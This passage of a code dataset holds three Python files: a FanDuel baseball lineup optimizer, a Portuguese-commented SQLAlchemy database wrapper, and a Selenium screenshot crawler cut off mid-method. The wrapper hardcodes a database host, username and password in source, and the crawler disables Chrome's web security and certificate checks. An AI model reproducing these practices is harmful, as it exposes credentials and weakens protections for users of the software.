editPlayerName(ppRow, 0)\n#\n#     if ssName not in playerNamesToCheck:\n#         print(ssName)\n\n# Print the total number of players read in\nprint('\\nPlayer Dictionary Length: ' + str(len(playerDict)))\n\n# Assign the players to dictionaries by position\nprint('\\nFilling in Position Dictionaries...')\npitchers = {}\ncatchers = {}\nfirstBase = {}\nsecondBase = {}\nthirdBase = {}\nshortStop = {}\noutfielders = {}\n\nfor ids in playerDict:\n\n    if playerDict[ids][0] == 'P':\n        pitchers[ids] = playerDict[ids]\n\n    elif playerDict[ids][0] == 'C':\n        catchers[ids] = playerDict[ids]\n\n    elif playerDict[ids][0] == '1B':\n        firstBase[ids] = playerDict[ids]\n\n    elif playerDict[ids][0] == '2B':\n        secondBase[ids] = playerDict[ids]\n\n    elif playerDict[ids][0] == '3B':\n        thirdBase[ids] = playerDict[ids]\n\n    elif playerDict[ids][0] == 'SS':\n        shortStop[ids] = playerDict[ids]\n\n    elif playerDict[ids][0] == 'OF':\n        outfielders[ids] = playerDict[ids]\n\n# Print the number of players at each position\nprint('\\nAFTER LOADING IN THE DATA...')\nprint('Pitchers: ' + str(len(pitchers)))\nprint('Catchers: ' + str(len(catchers)))\nprint('FirstBase: ' + str(len(firstBase)))\nprint('SecondBase: ' + str(len(secondBase)))\nprint('ThirdBase: ' + str(len(thirdBase)))\nprint('ShortStop: ' + str(len(shortStop)))\nprint('Outfielders: ' + str(len(outfielders)))\n\n# Print the number of possible lineups\nnumLineups = len(pitchers) * len(catchers) * len(firstBase) * len(secondBase) * len(thirdBase) * len(shortStop) * combinationsCalculator(len(outfielders))\nprint(\"\\nNumber of Possibly Optimal Lineups: {:,d}\\n\".format(numLineups))\n\n\n\n\"\"\"\n   Function to find the optimal lineup. Finds the lineup with the highest projected points total that\n   satisfies the constraints. Function is recursive so that if the optimal lineup violates the max players\n   from the same team constraint it runs again without using players from whichever team(s) caused it to\n   violate that constraint as the basis to eliminate other players from consideration.\n\"\"\"\ndef findMaxPPFanDuel(playerDict, pitchers, catchers, firstBase, secondBase, thirdBase, shortStop, outfielders,\n                     teams=set(), lineupsViolateConstraint=set(), maxPlayer = 4):\n\n    # Eliminate all but the player with the highest projected points value for each salary, by position\n    def positionFilter(positionDict):\n        positionDictCopy = copy.deepcopy(positionDict)\n        for player in positionDict:\n            for player2 in positionDict:\n                if positionDict[player][3] == positionDict[player2][3] and positionDict[player][2] < positionDict[player2][2] and \\\n                   positionDict[player2][-1] not in teams and player in positionDictCopy:\n                    del positionDictCopy[player]\n        return positionDictCopy\n\n    # Eliminate all players who have a higher salary and a lesser or equal projected points value of another player, by position\n    def filterMoreExpensiveLessPP(positionDict):\n        positionDictCopy = copy.deepcopy(positionDict)\n        for player in positionDict:\n            for player2 in positionDict:\n                if positionDict[player][3] > positionDict[player2][3] and positionDict[player][2] <= \\\n                   positionDict[player2][2] and positionDict[player2][-1] not in teams and player in positionDictCopy:\n                    del positionDictCopy[player]\n        return positionDictCopy\n\n    # If more than three outfielders share the same salary, eliminate all but the three with the highest projected points value\n    def ofPositionFilter(positionDict):\n        positionDictCopy = copy.deepcopy(positionDict)\n        outfielderSalaries = [positionDict[of][3] for of in positionDict]\n        ofSalaryCounts = Counter(outfielderSalaries)\n\n        outfielderSalariesToFilter = {k: v for k, v in ofSalaryCounts.items() if v > 3}\n\n        for salary in outfielderSalariesToFilter:\n            onTeams = 0\n            playersWithSameSalary = []\n            for of in positionDict:\n                if positionDict[of][3] == salary:\n                    playersWithSameSalary.append(positionDict[of][2])\n                    if positionDict[of][-1] in teams:\n                        onTeams += 1\n\n            for num in range(outfielderSalariesToFilter[salary] - 3 - onTeams):\n                lowestPP = min(playersWithSameSalary)\n                for of in positionDict:\n                    if positionDict[of][2] == lowestPP and positionDict[of][3] == salary and of in positionDictCopy:\n                        del positionDictCopy[of]\n                        playersWithSameSalary.remove(lowestPP)\n                        break\n        return positionDictCopy\n\n    # If there are at least three outfielders who have a salary equal to or lower than another outfielder, and a higher projected\n    # points value, eliminate that outfielder\n    def ofFilterMoreExpensiveLessPP(positionDict):\n        outfielderList = []\n        for key in positionDict:\n            playerEntry = [key]\n            [playerEntry.append(info) for info in positionDict[key]]\n            outfielderList.append(playerEntry)\n\n        outfielderListSalaryOrder = sorted(outfielderList, key=lambda x: (x[4], x[3] * -1))\n\n        count = 0\n        index = 0\n        lowestSalaryOutfielders = []\n        while count < 3:\n            if outfielderListSalaryOrder[index][-1] not in teams:\n                lowestSalaryOutfielders.append(outfielderListSalaryOrder[index])\n                count += 1\n            index += 1\n\n        count = 1\n        while count + 1 < len(outfielderListSalaryOrder):\n            minPPOFer = min(lowestSalaryOutfielders, key=lambda x: x[3])\n\n            outfieldersToDelete = []\n            for of in outfielderListSalaryOrder[2 + count:]:\n                if of[3] < minPPOFer[3] and of[4] >= minPPOFer[4]:\n                    outfieldersToDelete.append(of)\n\n            outfielderListSalaryOrder = [x for x in outfielderListSalaryOrder if x not in outfieldersToDelete]\n\n            try:\n                if outfielderListSalaryOrder[2 + count][-1] not in teams:\n                    lowestSalaryOutfielders.remove(minPPOFer)\n                    lowestSalaryOutfielders.append(outfielderListSalaryOrder[2 + count])\n                else:\n                    pass\n            except IndexError:\n                break\n\n            count += 1\n        outfielders = [item[0] for item in outfielderListSalaryOrder]\n        return outfielders\n\n    # Eliminate pairs of players in the same way as before\n    def groupFilter(group):\n\n        # If one pair has a higher combined salary and a lower or equal combined projected points value than another pair, eliminate that pair\n        toDelete = set()\n        for x, y in group:\n            for x2, y2 in group:\n                if playerDict[x][3] + playerDict[y][3] > playerDict[x2][3] + playerDict[y2][3] and playerDict[x][2] + \\\n                        playerDict[y][2] <= playerDict[x2][2] + playerDict[y2][2] and playerDict[x2][-1] not in teams and playerDict[y2][-1] not in teams:\n                    toDelete.add((x, y))\n\n        group.difference_update(toDelete)\n\n        # If one pair has the same combined salary as another pair but a lower combined projected points value, eliminate that pair\n        toDelete = set()\n        for a, b in group:\n            for a2, b2 in group:\n                if playerDict[a][3] + playerDict[b][3] == playerDict[a2][3] + playerDict[b2][3] and playerDict[a][2] + \\\n                        playerDict[b][2] < playerDict[a2][2] + playerDict[b2][2] and playerDict[a2][-1] not in teams and playerDict[b2][-1] not in teams:\n                    toDelete.add((a, b))\n\n        group.difference_update(toDelete)\n        return group\n\n    # Eliminate groups of outfielders in the same way as before\n    def oufielderGroupFilter(group):\n\n        # find the total salary and total projected points for each group of outfielders\n        newGroup = set()\n        for x, y, z in group:\n            salaryOF = playerDict[x][3] + playerDict[y][3] + playerDict[z][3]\n            projectedPointsOF = playerDict[x][2] + playerDict[y][2] + playerDict[z][2]\n            newGroup.add((x, y, z, projectedPointsOF, salaryOF))\n\n        # If a group of outfielders has a higher total salary and a lower or equal total projected points value than another group, eliminate that group\n        toDelete = set()\n        for x, y, z, pp, sal in newGroup:\n            for x2, y2, z2, pp2, sal2 in newGroup:\n                if sal > sal2 and pp <= pp2 and playerDict[x2][-1] not in teams and playerDict[y2][-1] not in teams and playerDict[z2][-1] not in teams:\n                    toDelete.add((x, y, z))\n        group.difference_update(toDelete)\n\n        # If a group of outfielders has the same total salary as another group but a lower total projected points value, eliminate that group\n        toDelete = set()\n        for x, y, z, pp, sal in newGroup:\n            for x2, y2, z2, pp2, sal2, in newGroup:\n                if sal == sal2 and pp < pp2 and playerDict[x2][-1] not in teams and playerDict[y2][-1] not in teams and playerDict[z2][-1] not in teams:\n                    toDelete.add((x, y, z))\n        group.difference_update(toDelete)\n\n        return group\n\n    # Filter out players that would never be selected for the optimal lineup\n    pitchers2 = filterMoreExpensiveLessPP(positionFilter(pitchers))\n    catchers2 = filterMoreExpensiveLessPP(positionFilter(catchers))\n    firstBase2 = filterMoreExpensiveLessPP(positionFilter(firstBase))\n    secondBase2 = filterMoreExpensiveLessPP(positionFilter(secondBase))\n    thirdBase2 = filterMoreExpensiveLessPP(positionFilter(thirdBase))\n    shortStop2 = filterMoreExpensiveLessPP(positionFilter(shortStop))\n    outfielders2 = ofFilterMoreExpensiveLessPP(ofPositionFilter(outfielders))\n\n    # Filter out groups of players that would never be selected for the optimal lineup\n    pitchersCatchers = groupFilter(set(itertools.product(pitchers2, catchers2)))\n    firstSecond = groupFilter(set(itertools.product(firstBase2, secondBase2)))\n    thirdShort = groupFilter(set(itertools.product(thirdBase2, shortStop2)))\n    outfielderGroups = oufielderGroupFilter(set(itertools.combinations(outfielders2, 3)))\n\n    # Create every possible lineup from the remaining players\n    allLineups = list(itertools.product(pitchersCatchers, firstSecond, thirdShort, outfielderGroups))\n\n    # Eliminate all lineups which violate the max salary cap constraint\n    underCap = set([(pc, fs, ts, of) for pc, fs, ts, of in allLineups if\n                    playerDict[pc[0]][3] + playerDict[pc[1]][3] + playerDict[fs[0]][3] + playerDict[fs[1]][3] + \\\n                    playerDict[ts[0]][3] + playerDict[ts[1]][3] + \\\n                    playerDict[of[0]][3] + playerDict[of[1]][3] + playerDict[of[2]][3] <= 35000])\n\n    # If any lineups have previously violated the max player from the same team constraint, eliminate them\n    underCap.difference_update(lineupsViolateConstraint)\n\n    # Calculate the projected points for all remaining lineups\n    underCapPP = {playerDict[pc[0]][2] + playerDict[pc[1]][2] + playerDict[fs[0]][2] + playerDict[fs[1]][2] + playerDict[ts[0]][2] + \\\n                  playerDict[ts[1]][2] + playerDict[of[0]][2] + playerDict[of[1]][2] + \\\n                  playerDict[of[2]][2]: (pc, fs, ts, of) for pc, fs, ts, of in underCap}\n\n    # Find the lineup with the highest projected points total\n    pp = max(underCapPP)\n\n    count = 0\n    while True:\n        # If this loop has run without being reset then delete the previous optimal lineup for violating the max players from\n        # the same team constraint, and find the lineup with the next highest projected points total, since the team(s)\n        # responsible for this lineup violating the max player constraint had already been added to the set not to use to eliminate\n        if count > 0:\n            lineupToDelete = underCapPP[pp]\n            lineupsViolateConstraint.add(lineupToDelete)\n            del underCapPP[pp]\n            pp = max(underCapPP)\n\n        optimalLineup = underCapPP[pp]\n        teamsCounter = []\n\n        # Find out the number of players each team has in the optimal lineup\n        for group in optimalLineup:\n            for player in group:\n                teamsCounter.append(playerDict[player][-1])\n\n        teamsCounter = Counter(teamsCounter)\n        maxTeamFreq = max(teamsCounter.values())\n\n        # If the optimal lineup violates the max players from the same team constraint, add team(s) to a list to reference\n        teamPlayersCantElim = []\n        for teamName in teamsCounter:\n            if teamsCounter[teamName] == maxTeamFreq:\n                if teamName not in teamPlayersCantElim: teamPlayersCantElim.append(teamName)\n\n        # If the optimal lineup violates the max players from the same team constraint, but team(s) had already been added to the set\n        # of teams not to eliminate from, revert to the top of this loop\n        if maxTeamFreq > maxPlayer and all(x in teams for x in teamPlayersCantElim):\n            count += 1\n            continue\n\n        # If the optimal lineup had more than 4 players from the same team, and that team wasn't already added to the set of teams not\n        # to eliminate from, rerun this function without using any players from that team as a basis to eliminate another player\n        elif maxTeamFreq > maxPlayer:\n            [teams.add(x) for x in teamPlayersCantElim]\n            lineupToDelete = underCapPP[pp]\n            lineupsViolateConstraint.add(lineupToDelete)\n            return findMaxPPFanDuel(playerDict, pitchers, catchers, firstBase, secondBase, thirdBase, shortStop, outfielders,\n                             teams, lineupsViolateConstraint)\n\n        # All constraints have been satisfied, return the optimal lineup and its projected points total\n        else:\n            return optimalLineup, pp\n\nprofile.run('print(findMaxPPFanDuel(playerDict,pitchers,catchers,firstBase,secondBase,thirdBase,shortStop,outfielders)); print()')\noptimalLineup, pp = findMaxPPFanDuel(playerDict,pitchers,catchers,firstBase,secondBase,thirdBase,shortStop,outfielders)\n\n\n# Format and print out optimal lineup information\ncapUsed = 0\nfor group in optimalLineup:\n    for player in group:\n        capUsed += playerDict[player][3]\n\n    if len(group) == 3:\n        outfield = sorted(group, key=lambda x: (playerDict[x][3] * -1, x[2] * -1))\n        for of in outfield:\n            print(playerDict[of][0] + \": \" + playerDict[of][1] + ' PP: ' + str(round(playerDict[of][2], 2)) + ' Cost: ${:,d}'.format(playerDict[of][3]) + \\\n                \" Team: \" + str(playerDict[of][-1]))\n    else:\n        for player in group:\n            print(playerDict[player][0] + \": \" + playerDict[player][1] + ' PP: ' + str(round(playerDict[player][2], 2)) + ' Cost: ${:,d}'.format(playerDict[player][3]) + \\\n            \" Team: \" + str(playerDict[player][-1]))\n\nprint(\"\\nCap Used: ${:,d}\".format(capUsed))\nprint(\"Projected Points: \" + str(round(pp, 2)))\n\nend = time.time()\nprint(\"\\nRuntime of program: \" + str(end-start) + \" seconds.\")\n","sub_path":"fanduel.py","file_name":"fanduel.py","file_ext":"py","file_size_in_byte":23573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"339696289","text":"# -*- coding: utf-8 -*-\nimport collections\nimport os\n\nimport pandas as pd\nfrom sqlalchemy import Date, MetaData, Table, cast, func, inspect\nfrom sqlalchemy.pool import NullPool\nfrom sqlalchemy.sql import select, text\n\nfrom db_postgresql import DBPostgresql\n\n\nclass DBBase():\n\n    database = None\n    engine = None\n\n    # TODO: OS dados de coneção com o banco devem vir de outro lugar!\n    available_databases = dict({\n        \"gavo\": {\n            \"ENGINE\": \"postgresql_psycopg2\",\n            \"HOST\": \"desdb4.linea.gov.br\",\n            \"PORT\": \"5432\",\n            \"USER\": \"untrustedprod\",\n            \"PASSWORD\": \"untrusted\",\n            \"DATABASE\": \"prod_gavo\",\n            # \"HOST\": \"172.18.0.2\",\n            # \"PORT\": \"5432\",\n            # \"USER\": \"postgres\",\n            # \"PASSWORD\": \"postgres\",\n            # \"DATABASE\": \"tno_v2\"\n        }\n    })\n\n    def __init__(self, database=\"gavo\"):\n\n        self.__set_database(database)\n\n    def __set_database(self, database):\n\n        if database not in self.available_databases:\n            raise Exception(\"Banco de dados não disponivel ainda\")\n\n        db_settings = self.available_databases[database]\n\n        if db_settings[\"ENGINE\"] == \"postgresql_psycopg2\":\n            self.database = DBPostgresql(db_settings)\n\n        # if db[\"ENGINE\"] == \"sqlite3\":\n        #     return DBSqlite(db)\n\n        # if db_settings[\"ENGINE\"] == \"oracle\":\n        #     return DBOracle(db_settings)\n\n    def get_engine(self):\n        \"\"\"Retorna uma instancia de engine para o database solicitado na Instancia da DBBase.\n        https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Engine\n\n        Returns:\n            sqlalchemy.engine.Engine: uma instancia de Engine\n        \"\"\"\n\n        if self.engine is None:\n\n            self.engine = self.database.get_engine()\n\n        return self.engine\n\n    def get_table(self, tablename, schema=None):\n        \"\"\"Retona uma instancia de sqlalchemy.schema.Table que representa uma tabela no database.\n        https://docs.sqlalchemy.org/en/14/core/metadata.html#sqlalchemy.schema.Table\n\n        Args:\n            tablename (str): Nome da tabela sem o schema.\n            schema (str, optional): Schema onde a tabela se encontra. Defaults to None.\n\n        Returns:\n            sqlalchemy.schema.Table: instancia de Table representando a tabela solicitada.\n        \"\"\"\n        engine = self.get_engine()\n        tbl = Table(\n            tablename, MetaData(engine), autoload=True, schema=schema)\n        return tbl\n\n    def execute(self, stm):\n        \"\"\"Executa a query usando con.execute, \n        recomendada para query de Delete, Update ou outras querys que não precisem de iteração com o resultado.\n        OBS. esta query fecha o conexão logo após ser executada. \n\n        Args:\n            stm (statement): Query a ser executada, pode ser escrita em SqlAlchemy ou string no caso de string ela sera convertida para TextClause.\n\n        Returns:\n            CursorResult: [description]\n        \"\"\"\n        with self.get_engine().connect() as con:\n            return con.execute(stm)\n\n    def fetchall(self, stm):\n        \"\"\"Executa a query e retorna todos os resultados em uma lista.\n\n        Args:\n            stm (statement): Query a ser executada, pode ser escrita em SqlAlchemy ou string no caso de string ela sera convertida para TextClause.\n\n        Returns:\n            list: Lista com os resultado no formato original do SqlAlchemy LegacyRow.\n        \"\"\"\n        # Conver Raw sql to Sql Alchemy TextClause\n        stm = self.raw_sql_to_stm(stm)\n\n        with self.get_engine().connect() as con:\n            queryset = con.execute(stm).fetchall()\n            return queryset\n\n    def fetchall_dict(self, stm):\n        \"\"\"Executa a query e retorna todos os resultados em uma lista de Dicts.\n\n        Args:\n            stm (statement): Query a ser executada, pode ser escrita em SqlAlchemy ou string no caso de string ela sera convertida para TextClause.\n\n        Returns:\n            list: O resultado da query em uma lista de Dict({'col': 'value', ..., 'coln':'valuen'})\n        \"\"\"\n        # Conver Raw sql to Sql Alchemy TextClause\n        stm = self.raw_sql_to_stm(stm)\n\n        with self.get_engine().connect() as con:\n            queryset = con.execute(stm)\n\n            rows = list()\n            for row in queryset:\n                rows.append(self.to_dict(row))\n\n            return rows\n\n    def fetchall_df(self, stm):\n        \"\"\"Executa a query usando o pandas e retorna um Dataframe com o resultado.\n\n        Args:\n            stm (statement): Query a ser executada, pode ser escrita em SqlAlchemy ou string no caso de string ela sera convertida para TextClause.\n\n        Returns:\n            Pandas.Dataframe: Dataframe com o resultado da query.\n        \"\"\"\n        df = pd.read_sql(\n            stm,\n            con=self.get_engine()\n        )\n\n        return df\n\n    def fetchone(self, stm):\n        \"\"\"Executa a query retorna a primeira linha do resultado\n\n        Args:\n            stm (statement): Query a ser executada, pode ser escrita em SqlAlchemy ou string no caso de string ela sera convertida para TextClause.\n\n        Returns:\n            sqlalchemy.engine.row.LegacyRow: Primeira linha do resultado da query.\n        \"\"\"\n\n        # Conver Raw sql to Sql Alchemy TextClause\n        stm = self.raw_sql_to_stm(stm)\n\n        with self.get_engine().connect() as con:\n            queryset = con.execute(stm).fetchone()\n            return queryset\n\n    def fetchone_dict(self, stm):\n        \"\"\"Executa a query retorna a primeira linha do resultado convertida em Dict\n\n        Args:\n            stm (statement): Query a ser executada, pode ser escrita em SqlAlchemy ou string no caso de string ela sera convertida para TextClause.\n\n        Returns:\n            dict: Primeira linha do resultado da query.\n        \"\"\"\n        # Conver Raw sql to Sql Alchemy TextClause\n        stm = self.raw_sql_to_stm(stm)\n\n        with self.get_engine().connect() as con:\n            queryset = con.execute(stm).fetchone()\n\n            if queryset is not None:\n                return self.to_dict(queryset)\n            else:\n                return None\n\n    def fetch_scalar(self, stm):\n        \"\"\"Retornar o valor da primeira coluna na primeira linha do resultado da query\n        util para querys de count por exemplo, ou quando se quer apenas um unico valor.\n\n        Args:\n            stm (statement): Query a ser executada, pode ser escrita em SqlAlchemy ou string no caso de string ela sera convertida para TextClause.\n\n        Returns:\n            any: Valor da primeira coluna na primeira linha.\n        \"\"\"\n        # Conver Raw sql to Sql Alchemy TextClause\n        stm = self.raw_sql_to_stm(stm)\n\n        with self.get_engine().connect() as con:\n            return con.execute(stm).scalar()\n\n    def to_dict(self, row):\n        \"\"\"Converte uma linha de resultado do SQLAlchemy queryset para Dict\n\n        Args:\n            row (sqlalchemy.engine.row.LegacyRow): Row retornada pelo execute.\n\n        Returns:\n            dict : Row convertida para Dict {colname: value, colname2: value2 ...}\n        \"\"\"\n        return dict(collections.OrderedDict(row))\n\n    def raw_sql_to_stm(self, stm):\n        \"\"\"Converte uma string raw sql para SqlAlchemy TextClause\n\n        Args:\n            stm (str): Query SQL em string. ex: Select * from tablename...\n\n        Returns:\n            TextClause: TextClause representando uma string SQL.\n        \"\"\"\n        if isinstance(stm, str):\n            return text(stm)\n        return stm\n\n    def get_table_columns(self, tablename, schema=None):\n        \"\"\"Retorna os nomes das colunas de uma tabela.\n            Args:\n                tablename (string): Nome da tabela sem schema.\n                schema (string): Nome do schema ou None quando nao houver.\n            Returns:\n                columns (list): Colunas disponiveis na tabela\n        \"\"\"\n        insp = inspect(self.get_engine())\n        return [value['name'] for value in insp.get_columns(tablename, schema)]\n\n    def describe_table(self, tablename, schema=None):\n        \"\"\"Retorna o nome e o tipo das colunas de uma tabela.\n            Args:\n                tablename (string): Nome da tabela sem schema.\n                schema (string): Nome do schema ou None quando nao houver.\n            Returns:\n                columns (list): Lista de colunas com seu tipo {\"name\": \"\", \"type\": \"\"}\n        \"\"\"\n        cols = list()\n\n        insp = inspect(self.get_engine())\n        for c in insp.get_columns(tablename, schema):\n            cols.append(dict({\n                \"name\": c[\"name\"],\n                \"type\": c[\"type\"]\n            }))\n\n        return cols\n\n\nif __name__ == \"__main__\":\n\n    try:\n        print(\"Instanciando a DAO\")\n        dao = DBBase(database=\"gavo\")\n\n        print(\"Executando query de Teste\")\n        # Instancia sqlalchemy table\n        #tbl = dao.get_table('des_ccd')\n        tbl = dao.get_table(\"coadd_objects\", schema=\"des_dr2\")        \n        # Select simples com limit\n        stm = select(tbl.c).limit(10)\n        # # Executa a query e retorna uma lista de dicts\n        rows = dao.fetchall_dict(stm)\n        # rows = dao.fetchall(stm)\n        print(rows)\n        # # Executa a query e retorna só o primeiro\n        # first_row = dao.fetchone_dict(stm)\n        # print(first_row)\n        # rows = dao.fetchall(stm)\n        # first_row = dao.fetchone(stm)\n        # print(rows)\n\n        # Executar uma RAW SQL\n        # sql = \"Select * from des_ccd limit 5\"\n        # rows = dao.fetchall(sql)\n        # print(rows)\n        # row = dao.fetchone(sql)\n        # print(row)\n        # first_column = dao.fetch_scalar(sql)\n        # print(first_column)\n        # Count com RAW SQL\n        # sql = \"Select count(*) from des_ccd limit 5\"\n        # count = dao.fetch_scalar(sql)\n        # print(count)\n\n        # # Lista de colunas de uma tabela\n        # columns = dao.get_table_columns('des_ccd')\n        # print(columns)\n\n        # Lista de colunas com o tipo de uma tabela\n        # columns = dao.describe_table('des_ccd')\n        # print(columns)\n\n    except Exception as e:\n        print(e)\n","sub_path":"linea_db/dbbase.py","file_name":"dbbase.py","file_ext":"py","file_size_in_byte":10147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"383105438","text":"from selenium import webdriver\nfrom selenium.common.exceptions import NoSuchWindowException, TimeoutException, \\\n    NoAlertPresentException, NoSuchElementException\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom threading import Thread\nfrom queue import Queue\nfrom util import Logger, pad_url\nfrom argparse import ArgumentParser\nfrom typing import Tuple\nimport time\nfrom os.path import join, exists\nfrom os import makedirs\nimport traceback\nimport sys\nfrom copy import deepcopy\nfrom queue import Empty\nfrom subprocess import Popen, PIPE\n\nimport sys\nimport os\nimport os.path\n# 引入上层包\nsys.path.append(\n    os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\nfrom main import ex_cmd\n\n\nreplace_for_colon = \"冒号\"\n\n\nclass Scheduler:\n    \"\"\"\n    url_queue: 待爬队列\n    failed_queue: 失败队列，需要保存失败URL和失败原因\n    \"\"\"\n\n    def __init__(self, file_path):\n        self.url_queue = Queue()\n        self.timeout_queue = Queue()\n        self.failed_queue = Queue()\n        self.workers = []\n        self.tm_workers = []\n        self.url_num = 0\n        self._init(file_path)\n        self.file_path = file_path\n        \n\n    def _init(self, file_path):\n        \"\"\"\n        一些初始化任务\n        :param file_path: 输入文件路径\n        :return:\n        \"\"\"\n        pics_path = 'pics'\n        data_path = 'datas'\n        log_path = 'Logs'\n        result_path = join(\"pics\", RQ)\n        for path in (pics_path, data_path, log_path, result_path):\n            if not exists(path):\n                makedirs(path)\n        with open(file_path, 'r', encoding='utf8') as f1:\n            content = f1.readlines()\n        urls = set(url.strip() for url in content)\n        for d in urls:\n            self.url_queue.put([d, RETRIES])  # 最多重试2次\n            self.url_num += 1\n\n    def scheduling(self):\n        \"\"\"\n        启动爬虫线程\n        启动守护线程\n        阻塞主线程\n        :return:\n        \"\"\"\n        workers_info = []\n\n        LOG.debug(\"[Scheduler]SchedulerLength of queue: {}\".format(self.url_queue.qsize()))\n\n        LOG.debug(\"[Scheduler]Spawning the Workers.\")\n        for i in range(THREADS_NUM):\n            worker = ThreadCrawl(self.url_queue, self.failed_queue, self.timeout_queue, i + 1)\n            worker.daemon = True\n            worker.start()\n            self.workers.append(worker)\n            workers_info.append((worker, i + 1, 'ThreadCrawl'))\n\n        for i in range(THREADS_NUM - 2):\n            worker = TimeoutCrawl(self.url_queue, self.failed_queue, self.timeout_queue, i + 1)\n            worker.daemon = True\n            worker.start()\n            self.tm_workers.append(worker)\n            workers_info.append((worker, i + 1, 'TimeoutCrawl'))\n\n        self.d = Daemon(self.file_path, workers_info, self.url_num, self.url_queue, self.failed_queue, self.timeout_queue)\n        self.d.daemon = True\n        self.d.start()\n\n        self.url_queue.join()\n        self.timeout_queue.join()\n        self.failed_queue.join()\n\n\nclass ThreadCrawl(Thread):\n    \"\"\"\n    截图线程，Selenium默认加载逻辑为“阻塞加载”\n    \"\"\"\n\n    def __init__(self, queue_1, queue_2, queue_3, tid, page_load_strategy=\"normal\"):\n        Thread.__init__(self)\n        self.url_queue = queue_1\n        self.failed_queue = queue_2\n        self.timeout_queue = queue_3\n        self.tid = tid\n        self.status = 'Launching...'\n        self._exit_code = 0\n        self._exit_info = ''\n        self._exception = ''\n        self._exc_traceback = ''\n        self.page_load_strategy = page_load_strategy\n\n    def __del__(self):\n        self.driver.quit()\n\n    def _init(self) -> None:\n        \"\"\"\n        设置浏览器属性并打开浏览器\n        设置driver属性\n        :return:\n        \"\"\"\n        chrome_options = webdriver.ChromeOptions()\n        chrome_options.binary_location = os.path.abspath(os.path.join(os.path.dirname(__file__),  os.path.pardir, os.path.pardir, \"chrome\", \"chrome.exe\"))\n        chrome_options.add_argument('--ignore-certificate-errors')\n        chrome_options.add_argument('--disable-gpu')\n        chrome_options.add_argument(\"disable-web-security\")\n        # 是否打开浏览器\n        if is_headless:\n            chrome_options.add_argument(\"--headless\")\n        # none表示将br.get方法改为非阻塞模式，在页面加载过程中也可以给br发送指令，如获取url，pagesource等资源。\n        desired_capabilities = deepcopy(DesiredCapabilities.CHROME)  # 修改页面加载策略\n        desired_capabilities[\"pageLoadStrategy\"] = self.page_load_strategy\n        self.driver = webdriver.Chrome(chrome_options=chrome_options,\n                                       desired_capabilities=desired_capabilities)\n        self.status = 'Started.'\n        self.driver.implicitly_wait(0.5)\n        self.driver.set_page_load_timeout(TIMEOUT)\n        self.driver.set_script_timeout(20)\n\n    def _execute_js(self, js: str) -> None:\n        try:\n            self.driver.execute_script(js)\n        except TimeoutException:\n            self.driver.close()\n\n    def _gen_tab(self) -> Tuple[str, str]:\n        \"\"\"\n        生成次Tab，并切换到主Tab，防止Tab关闭了浏览器退出\n        :return:\n        \"\"\"\n        try:\n            main_win = self.driver.current_window_handle\n            all_win = self.driver.window_handles\n        except NoSuchWindowException:\n            all_win = self.driver.window_handles\n            main_win = all_win[0]\n            self.driver.switch_to.window(main_win)\n        sub_win = \"\"\n        if len(all_win) == 1:\n            self.driver.execute_script('window.open(\"about:blank\")')\n            all_win = self.driver.window_handles\n            sub_win = all_win[1]\n            self.driver.switch_to.window(sub_win)\n            # 还是定位在main_win上的\n            self.driver.switch_to.window(main_win)\n        return main_win, sub_win\n\n    def _is_reachable(self, url, count) -> bool:\n        \"\"\"\n        判断网站是否可访问\n        是否在规定的时间内加载完 全页面元素， 是则为可访问，不是则为不可访问\n        :param url:\n        :param count:\n        :return:\n        \"\"\"\n        LOG.debug(\"[Worker]Worker: {} REQUESTING the url: {}, life: {}.\".format(self.tid, url, count))\n        try:\n            url = pad_url(url)\n            self.driver.get(url)\n            # 可能有Alert弹窗\n            # TODO 其他弹窗\n            try:\n                self.driver.switch_to.alert.accept()\n            except NoAlertPresentException:\n                pass\n            return True\n        except TimeoutException:\n            return False\n\n    def run(self) -> None:\n        \"\"\"\n        最重要的问题就是`NoSuchWindowException`\n        整个运行过程都要防止没有窗口的问题\n        :return:\n        \"\"\"\n        import sys\n        try:\n            self._init()\n            while True:\n                LOG.debug(\"[Worker]Worker: {} GETTING web info\".format(self.tid))\n                url, count = self.url_queue.get()\n                LOG.debug(\"[Worker]Worker: {} Length of queue: {}\".format(self.tid, self.url_queue.qsize()))\n                LOG.debug(\"[Worker]Worker: {} URL: {}\".format(self.tid, url))\n\n                # 两个Tab，main_win是主窗口，用来验证网站, sub_win是副窗口，用来打印参数\n                main_win, _sub_win = self._gen_tab()\n\n                # LOG.debug(\"[Worker]Worker: {} REQUESTING the url.\".format(self.tid))\n                if not self._is_reachable(url, count):\n                    LOG.debug(\"[Worker]Worker: {} URL unreachable: {}, count: {}\".format(self.tid, url, count))\n                    if count > 0:\n                        LOG.debug(\"[Worker]Worker: {} PUT url into url queue queue.\".format(self.tid))\n                        self.url_queue.put((url, count - 1))\n                    if count == 0:\n                        LOG.debug(\"[Worker]Worker: {} PUT url into timeout queue.\".format(self.tid))\n                        self.timeout_queue.put(url)\n                    self._execute_js(\"window.stop()\")  # 超时会导致窗口关闭\n                    self.url_queue.task_done()\n                    continue\n                # 保存图片的时候需要把当前操作系统非法文件名符号剔除掉\n                #url_name = url if \":\" not in url else url.split(\":\")[0]\n                url_name = url.replace(\":\", replace_for_colon)\n                save_path = 'pics/{}/{}.png'.format(RQ, url_name.split('/')[0])\n                self.driver.get_screenshot_as_file(save_path)\n                self.url_queue.task_done()\n                LOG.debug(\"[Worker]Worker: {} URL:{} is done.\".format(self.tid, url))\n        except Exception as e:\n            LOG.debug(\"[Worker]Worker: {} is dead, error info: {}\".format(self.tid, repr(e)))\n            self._exit_code = 1\n            self._exception = e\n            self._exc_traceback = ''.join(traceback.format_exception(*sys.exc_info()))\n            LOG.debug(\"[Worker]Worker: {} Traceback: {}.\".format(self.tid, self._exc_traceback))\n            self.failed_queue.put((url, repr(e), self._exc_traceback))\n            self.url_queue.task_done()\n            self.driver.quit()\n\n    def exit(self):\n        self.driver.quit()\n\n\nclass TimeoutCrawl(ThreadCrawl):\n    \"\"\"\n    截图线程， selenium加载逻辑变为非阻塞式加载\n    \"\"\"\n\n    def __init__(self, queue_1, queue_2, queue_3, tid):\n        ThreadCrawl.__init__(self, queue_1, queue_2, queue_3, tid, \"none\")\n\n    def _is_reachable(self, url, count) -> bool:\n        \"\"\"\n        